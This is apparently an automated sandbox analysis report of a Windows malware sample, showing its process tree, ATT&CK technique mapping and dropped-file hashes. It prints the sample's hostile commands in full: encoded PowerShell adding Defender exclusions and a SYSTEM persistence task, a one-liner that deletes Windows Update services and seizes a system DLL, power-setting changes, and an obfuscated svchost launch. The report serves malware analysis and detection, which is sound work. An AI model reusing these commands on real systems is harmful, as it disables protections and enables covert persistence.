      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBxAGYAYgBjACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGkAbAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAagB1ACMAPgA="
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      PID:5832
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      Executes a command shell one-liner
      PID:7012
    - - C:\Windows\System32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:7112
    - - C:\Windows\System32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:764
    - - C:\Windows\System32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:5664
    - - C:\Windows\System32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:3868
    - - C:\Windows\System32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:5848
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        Modifies registry key
        
        PID:5768
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        Modifies registry key
        
        PID:5308
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        Modifies registry key
        
        PID:5500
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        Modifies registry key
        
        PID:5788
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        Modifies registry key
        
        PID:3704
    - - C:\Windows\System32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5808
    - - C:\Windows\System32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:7000
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        
        PID:5784
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        
        PID:5648
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:3948
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        
        PID:1508
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:556
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:5932
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:4188
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:5876
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:1936
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:5060
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:3404
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:4364
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        Power Settings
        
        PID:6656
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        Power Settings
        
        PID:5544
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        Power Settings
        
        PID:3844
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        Power Settings
        
        PID:4348
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAeQBlAGwAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHcAdgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAHYAcQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdgAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHgAYQB2ACMAPgA7AA=="
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      PID:4784
  - - C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe vqhasrxzj0 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
      4⤵
      PID:5352
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe vqhasrxzj0 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
  2⤵
  - Executes dropped EXE
  PID:5888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:6236

C:\Program Files (x86)\Windows NT\TableTextService\en-US\RuntimeBroker.exe
"C:\Program Files (x86)\Windows NT\TableTextService\en-US\RuntimeBroker.exe"
1⤵
- Executes dropped EXE
PID:4696

C:\Windows.old\ctfmon.exe
"C:\Windows.old\ctfmon.exe"
1⤵
- Executes dropped EXE
PID:4852

C:\Windows\System32\SecurityHealthHost.exe
\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
1⤵
PID:6372

C:\Windows\ModemLogs\sihost.exe
"C:\Windows\ModemLogs\sihost.exe"
1⤵
- Executes dropped EXE
PID:4696

C:\Windows.old\Idle.exe
"C:\Windows.old\Idle.exe"
1⤵
- Executes dropped EXE
PID:3428

C:\Program Files\Reference Assemblies\Microsoft\Framework\karma_fivem.exe
"C:\Program Files\Reference Assemblies\Microsoft\Framework\karma_fivem.exe"
1⤵
- Executes dropped EXE
PID:6688

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1599754af315bf45fc5c21a5d9d6289ee5d77b66ecc79c44b56e93a2e4a258b3
MD5 921a478d4b661d5dbabaa5056c375995
SHA1 0f636740ac1adb46315e7380dca2d29c333d0456
SHA512 ed439021bbee12984ea7fdfc5f2d78a2599748df67ecbfb6d92a78314e76ba9019d6971e78ea0a8bd0567d40a124483f0d48e7d42afd2f730e81614fe36b565f
TLSH
T1B8216833B3DD8614C89A413A10CEAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 435471b87a1a97b0e29f7d5dd0878e63031511f063629d7e750852c068e7c4f5
MD5 81b56f1dad28119d54bf23c83fc570b9
SHA1 cb9a89a716465611149ce3c700bd60681d434faf
SHA512 77bd4d53ca86d66d29ba662dd424e94e5cef46c6a460cbf9f8d87a40c627401c0f6d0fe30258c23ed1cf63df1a70b19288885a33c206fb85a19f12efaab61927
TLSH
T1F3216833B3DD8614C89A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e56f4a38e0c60f0196c589e1952198368a10927e65ff24d1476ffafc489657f4
MD5 78b9021e0576c01ec958b87ec52832c1
SHA1 76df758d602c2d4cc4a4bfa0f3b435cae1ed3ffa
SHA512 4402163ed9623a392f120417ea0b5049bf0d76b88dd7f4fc70428ef7e76601f25bd534ae916ed9daba859fb6308d6f370712985ccd165f6393dbce7c5c507514
TLSH
T11F216833F3DD8614C89A413A10CDAC1036B6C7DB41DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_2du11v4d.du4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2du11v4d.du4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

karma_fivem.exe

Path C:\Users\Admin\AppData\Local\Temp\karma_fivem.exe
Size 660KB
SHA256 61c413248f7d4d99ca31ec5088b62ce7ad6d422e2ef3e00db2aa547415099113
MD5 d09713dd28fa82def84158f3c6e69c3e
SHA1 87bd8758d14fb01bcfb1c30caef7c231704bed7a
SHA512 759c49496775ebbd918b4a637bf08c65ed95e0163cd1115051b31d61dc4fb94e0c88fa799d160bc08966f9bfa35f92b3dc15785953b88d33e49e18e0f0b7dbe8
SSDEEP 12288:BnDOIUkWZnYzt9LW9ryq9XjFhzXGHsuCQoHzo00nMfT:BnDbUkiYztBWJ7TGHsuCQoT50nML
TLSH
T1B0E49D45B2B405FDD07B90399496A227F671781707209BEB23E40A562FBF3E05EBB712
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

r4lPNURAWl.bat

Path C:\Users\Admin\AppData\Local\Temp\r4lPNURAWl.bat
Size 196B
SHA256 bd5967ef33b1e9cd00b2c8ba4dffca51eb120f68716fa346c7c60cbb7dea74de
MD5 abed320087de4261c66b87c915ffed4a
SHA1 c91026e198e6b07dfdf93b7fb2cb825b8ea6ed4a
SHA512 8e05d5806b3c3eb62d114c5a154b89b7cd46687de9419552ae96b7d9c992df9cc2ea378d7c3086a8700e0e84fa744bbc762114089cac01456840aef2ca1482e2
TLSH
T189D0C083D001CFC409520C1B085E168F92232C09B2CD1DB006DD486D2F8F0BF719B3C1
MD5 SHA1 SHA512 TLSH

Submit Download

conhost_fv.exe

Path C:\Users\Admin\AppData\Roaming\conhost_fv.exe
Size 2.0MB
SHA256 695385e58a4170249e69024e5fdddf2fe296594ea4bb145a9477123827bf32b2
MD5 9927ca1d71edab5d32e1a32215550fdf
SHA1 0fdb8c36fc1a7dc66bc0933c6e5edf08d237e5a4
SHA512 09d0f84e7ba97b811529d842a1e603fa9b6c249ba4bd2341e639335fcbec00c07d26190a096bbc80026a1c81bf74698b4d96dbb89530c55287962d8e0fe63db7
SSDEEP 49152:y9KiNs2QjBEnF+2dlu6uWWHZ3Hd5mKlLEHIbHhFBEDrEPrAn:astQfrfbcSKlLEHchPEmcn
TLSH
T118A5336337B0843CD1BB8E7A6DF41320C64AFFBB294A7677D8A547098508C42DBE55B8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fv_fontreviewmonitordllrefsvc.exe

Path C:\Users\Admin\AppData\Roaming\fv_fontreviewmonitordllrefsvc.exe
Size 1.6MB
SHA256 cd7fc550473fc11bf88747fe974dbcccaa0668ff5a92fad81a94db561990e1bd
MD5 b3706b91902a5436a081473940047a55
SHA1 a38d34931567ebdf90cf1b0ba09d1d9644b3c8fd
SHA512 41d7edfaa0ebc2c825824a4b6fc52fa44c81a7cc577a6290149059f95ac9733f75fc3eff892856162198c8aab1065160937a902f6e3e2a4bc2bb3e1ea8986192
SSDEEP 24576:4Q0XqKZCRvnT4qmEfvOp3hs9cuQsYqxyqKQlZWYyuOE9JfRaqB:d1KQRJOp3a+Hi8qJWYy32
TLSH
T1F2859D027E40CA11F0185233C3FF494847B9AD516AA6E32BBDBA33AD55523A77D0D9CB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 cf945b43222be12fe29077d14d2ce5a41c5f926508e7f4beb813741bd761cdb8
MD5 02eff2a65bceae04e70815d3ad614d1b
SHA1 210039e2fb01230593c18e2c8f97efb86efde943
SHA512 cdd9028417394dfd9d0feb59ba0c13bc6d39743a4142c637c223f65dde54bdd4a4b713ad5cd68cbd3db3c8ca8f2e96dde5ebfb9f191c7732a992642319730283
TLSH
T1FD216837B3DD8614C89A413A10CDAD1036B6CBDB40DECE5B6B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 6a49c7b6c4bc5daf57577aa739986ec2fe50a32796f61d2e20028b5311c21048
MD5 233e3df23e2615d3205cafc362d50e03
SHA1 c368f3c6be16512ec8aa3e51ea1e819bf7d53376
SHA512 44e70b180eb556b7a43b72fd64ca24d7ef56522caaa5e65676edf1206f1c9f13744c49c54d1bb424772220b46312b99105d9a9f8dbfe9e61372b436c45ca0994
TLSH
T179216833B3DD8624CC9A417A10CDAC1036B6C7DB41DECFAB6B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5ead667423637a84d4bbaa95a6e533359a45000a2bacd35b8931a127e7ed8b1e
MD5 bdda578758896a9ec5d25f6b87d02062
